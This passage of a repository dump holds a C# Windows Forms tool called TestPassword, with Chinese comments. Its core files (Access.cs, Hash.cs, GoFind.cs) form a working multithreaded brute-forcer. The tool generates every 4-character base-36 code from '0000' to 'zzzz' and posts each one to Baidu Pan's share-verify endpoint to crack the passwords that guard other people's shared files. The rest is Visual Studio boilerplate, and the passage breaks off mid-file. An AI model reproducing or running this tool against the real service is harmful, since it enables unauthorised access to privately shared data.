    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        #region 静态字符串\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n        /// <summary>\r\n        /// 存放的路径\r\n        /// </summary>\r\n        public static string file { get; set; }\r\n        #endregion\r\n\r\n        #region 静态方法\r\n        /// <summary>\r\n        /// Get请求\r\n        /// </summary>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n        #endregion\r\n    }\r\n}"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>TestPassword</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"HttpTest.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"HttpThread.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      <Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword PRO V1.8.0.4/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Access.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Linq;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 测试访问类\r\n    /// </summary>\r\n    public class Access\r\n    {\r\n        string info = \"\";//唯一识别文件的值吧\r\n        CookieContainer cookie = new CookieContainer();\r\n        /// <summary>\r\n        /// 实例测试类\r\n        /// </summary>\r\n        /// <param name=\"url\">访问的链接</param>\r\n        public Access(string url)\r\n        {\r\n            info = \"surl=\" + url.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n        }\r\n        /// <summary>\r\n        /// 访问网页\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string Get()\r\n        {\r\n            return HttpGet(\"https://pan.baidu.com/share/init?\" + info);\r\n        }\r\n        /// <summary>\r\n        /// 提交密码\r\n        /// </summary>\r\n        /// <param name=\"pwd\">密码</param>\r\n        /// <returns></returns>\r\n        public string Post(string pwd)\r\n        {\r\n            DateTime time = DateTime.Now;\r\n            DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));\r\n            string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();\r\n\r\n            string url = \"https://pan.baidu.com/share/verify?\" + info + \"&t=\" + ts.ToString() + \"&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==\";\r\n            string data = \"pwd=\" + pwd + \"&vcode=&vcode_str=\";\r\n\r\n            return  HttpPost(url, data);\r\n        }\r\n        /// <summary>\r\n        /// 请求路径\r\n        /// </summary>\r\n        /// <param name=\"Url\">请求的路径</param>\r\n        /// <returns>返回请求的网页数据</returns>\r\n        private string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n            request.CookieContainer = cookie;\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"utf-8\"));\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n        /// <summary>\r\n        /// 提交数据\r\n        /// </summary>\r\n        /// <param name=\"Url\">提交的路径</param>\r\n        /// <param name=\"Data\">提交的数据</param>\r\n        /// <returns>返回结果</returns>\r\n        private string HttpPost(string Url, string Data)\r\n        {\r\n            try\r\n            {\r\n                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n                request.ContentType = \"application/x-www-form-urlencoded;charset=UTF-8\";\r\n                request.Referer = \"https://pan.baidu.com/share/init?\" + info;\r\n                request.ContentLength = Encoding.UTF8.GetByteCount(Data);\r\n                request.CookieContainer = cookie;\r\n                request.Method = \"POST\";\r\n\r\n                Stream myRequestStream = request.GetRequestStream();\r\n                byte[] postBytes = Encoding.UTF8.GetBytes(Data);\r\n                myRequestStream.Write(postBytes, 0, postBytes.Length);\r\n\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                response.Cookies = cookie.GetCookies(response.ResponseUri);\r\n\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"utf-8\"));\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n\r\n                return retString;\r\n            }\r\n            catch (Exception ex)\r\n            {\r\n                return ex.Message;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/GoFind.cs",
    "content": "﻿using System.IO;\r\nusing System.Timers;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public class GoFind\r\n    {\r\n        Main myMain;//主窗体\r\n        int StartValue = 0;//基值\r\n        int NumberValue = 0;//剩余次数\r\n\r\n        public GoFind(Main main, int start, int number, int interval)\r\n        {\r\n            myMain = main;\r\n            StartValue = start;\r\n            NumberValue = number;\r\n            Timer timer = new Timer(interval);\r\n            timer.Elapsed += new ElapsedEventHandler(_Timer);\r\n            timer.Start();\r\n        }\r\n        private void _Timer(object sender, ElapsedEventArgs e)\r\n        {\r\n            Timer timer = sender as Timer;\r\n            if (NumberValue < StartValue || StaticClass.status)\r\n            {\r\n                timer.Stop();\r\n            }\r\n            else\r\n            {\r\n                string password = Hash.Hash2Str(StartValue);\r\n                Access access = new Access(StaticClass.url);\r\n                myMain.ModifyStr(access.Post(password), password);\r\n                StartValue = StartValue + 1;\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Hash.cs",
    "content": "﻿using System;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Collections.Generic;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n        public static string Hash2Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n        public static int Str2Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Main.Designer.cs",
    "content": "﻿namespace zgcwkj\r\n{\r\n    partial class Main\r\n    {\r\n        /// <summary>\r\n        /// 必需的设计器变量。\r\n        /// </summary>\r\n        private System.ComponentModel.IContainer components = null;\r\n\r\n        /// <summary>\r\n        /// 清理所有正在使用的资源。\r\n        /// </summary>\r\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\r\n        protected override void Dispose(bool disposing)\r\n        {\r\n            if (disposing && (components != null))\r\n            {\r\n                components.Dispose();\r\n            }\r\n            base.Dispose(disposing);\r\n        }\r\n\r\n        #region Windows 窗体设计器生成的代码\r\n\r\n        /// <summary>\r\n        /// 设计器支持所需的方法 - 不要修改\r\n        /// 使用代码编辑器修改此方法的内容。\r\n        /// </summary>\r\n        private void InitializeComponent()\r\n        {\r\n            System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));\r\n            this.btn = new System.Windows.Forms.Button();\r\n            this.txt_url = new System.Windows.Forms.Label();\r\n            this.text_url = new System.Windows.Forms.TextBox();\r\n            this.gb_1 = new System.Windows.Forms.GroupBox();\r\n            this.text_zxsd = new System.Windows.Forms.TextBox();\r\n            this.text_xczs = new System.Windows.Forms.TextBox();\r\n            this.txt_zxsd = new System.Windows.Forms.Label();\r\n            this.txt_xczs = new System.Windows.Forms.Label();\r\n            this.text_jsd = new System.Windows.Forms.TextBox();\r\n            this.text_ksd = new System.Windows.Forms.TextBox();\r\n            this.txt_jsd = new System.Windows.Forms.Label();\r\n            this.txt_ksd = new System.Windows.Forms.Label();\r\n            this.txt_ts = new System.Windows.Forms.Label();\r\n            this.gb_1.SuspendLayout();\r\n            this.SuspendLayout();\r\n            // \r\n            // btn\r\n            // \r\n            this.btn.Font = new System.Drawing.Font(\"宋体\", 14.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134)));\r\n            this.btn.ForeColor = System.Drawing.Color.Red;\r\n            this.btn.Location = new System.Drawing.Point(333, 48);\r\n            this.btn.Name = \"btn\";\r\n            this.btn.Size = new System.Drawing.Size(139, 153);\r\n            this.btn.TabIndex = 3;\r\n            this.btn.Text = \"进行搜查\";\r\n            this.btn.UseVisualStyleBackColor = true;\r\n            this.btn.Click += new System.EventHandler(this.btn_Click);\r\n            // \r\n            // txt_url\r\n            // \r\n            this.txt_url.AutoSize = true;\r\n            this.txt_url.Location = new System.Drawing.Point(12, 17);\r\n            this.txt_url.Name = \"txt_url\";\r\n            this.txt_url.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_url.TabIndex = 0;\r\n            this.txt_url.Text = \"目标地址：\";\r\n            // \r\n            // text_url\r\n            // \r\n            this.text_url.Location = new System.Drawing.Point(83, 13);\r\n            this.text_url.Name = \"text_url\";\r\n            this.text_url.Size = new System.Drawing.Size(389, 21);\r\n            this.text_url.TabIndex = 1;\r\n            // \r\n            // gb_1\r\n            // \r\n            this.gb_1.Controls.Add(this.text_zxsd);\r\n            this.gb_1.Controls.Add(this.text_xczs);\r\n            this.gb_1.Controls.Add(this.txt_zxsd);\r\n            this.gb_1.Controls.Add(this.txt_xczs);\r\n            this.gb_1.Controls.Add(this.text_jsd);\r\n            this.gb_1.Controls.Add(this.text_ksd);\r\n            this.gb_1.Controls.Add(this.txt_jsd);\r\n            this.gb_1.Controls.Add(this.txt_ksd);\r\n            this.gb_1.Location = new System.Drawing.Point(12, 40);\r\n            this.gb_1.Name = \"gb_1\";\r\n            this.gb_1.Size = new System.Drawing.Size(315, 161);\r\n            this.gb_1.TabIndex = 2;\r\n            this.gb_1.TabStop = false;\r\n            this.gb_1.Text = \"相关配置\";\r\n            // \r\n            // text_zxsd\r\n            // \r\n            this.text_zxsd.Location = new System.Drawing.Point(110, 55);\r\n            this.text_zxsd.MaxLength = 4;\r\n            this.text_zxsd.Name = \"text_zxsd\";\r\n            this.text_zxsd.Size = new System.Drawing.Size(186, 21);\r\n            this.text_zxsd.TabIndex = 5;\r\n            this.text_zxsd.Text = \"200\";\r\n            this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // text_xczs\r\n            // \r\n            this.text_xczs.Location = new System.Drawing.Point(110, 20);\r\n            this.text_xczs.MaxLength = 3;\r\n            this.text_xczs.Name = \"text_xczs\";\r\n            this.text_xczs.Size = new System.Drawing.Size(186, 21);\r\n            this.text_xczs.TabIndex = 4;\r\n            this.text_xczs.Text = \"100\";\r\n            this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);\r\n            // \r\n            // txt_zxsd\r\n            // \r\n            this.txt_zxsd.AutoSize = true;\r\n            this.txt_zxsd.Location = new System.Drawing.Point(15, 58);\r\n            this.txt_zxsd.Name = \"txt_zxsd\";\r\n            this.txt_zxsd.Size = new System.Drawing.Size(89, 12);\r\n            this.txt_zxsd.TabIndex = 1;\r\n            this.txt_zxsd.Text = \"线程执行速度：\";\r\n            // \r\n            // txt_xczs\r\n            // \r\n            this.txt_xczs.AutoSize = true;\r\n            this.txt_xczs.Location = new System.Drawing.Point(15, 23);\r\n            this.txt_xczs.Name = \"txt_xczs\";\r\n            this.txt_xczs.Size = new System.Drawing.Size(65, 12);\r\n            this.txt_xczs.TabIndex = 0;\r\n            this.txt_xczs.Text = \"线程总数：\";\r\n            // \r\n            // text_jsd\r\n            // \r\n            this.text_jsd.Location = new System.Drawing.Point(110, 125);\r\n            this.text_jsd.MaxLength = 4;\r\n            this.text_jsd.Name = \"text_jsd\";\r\n            this.text_jsd.Size = new System.Drawing.Size(186, 21);\r\n            this.text_jsd.TabIndex = 7;\r\n            this.text_jsd.Text = \"zzzz\";\r\n            // \r\n            // text_ksd\r\n            // \r\n            this.text_ksd.Location = new System.Drawing.Point(110, 90);\r\n            this.text_ksd.MaxLength = 4;\r\n            this.text_ksd.Name = \"text_ksd\";\r\n            this.text_ksd.Size = new System.Drawing.Size(186, 21);\r\n            this.text_ksd.TabIndex = 6;\r\n            this.text_ksd.Text = \"0000\";\r\n            // \r\n            // txt_jsd\r\n            // \r\n            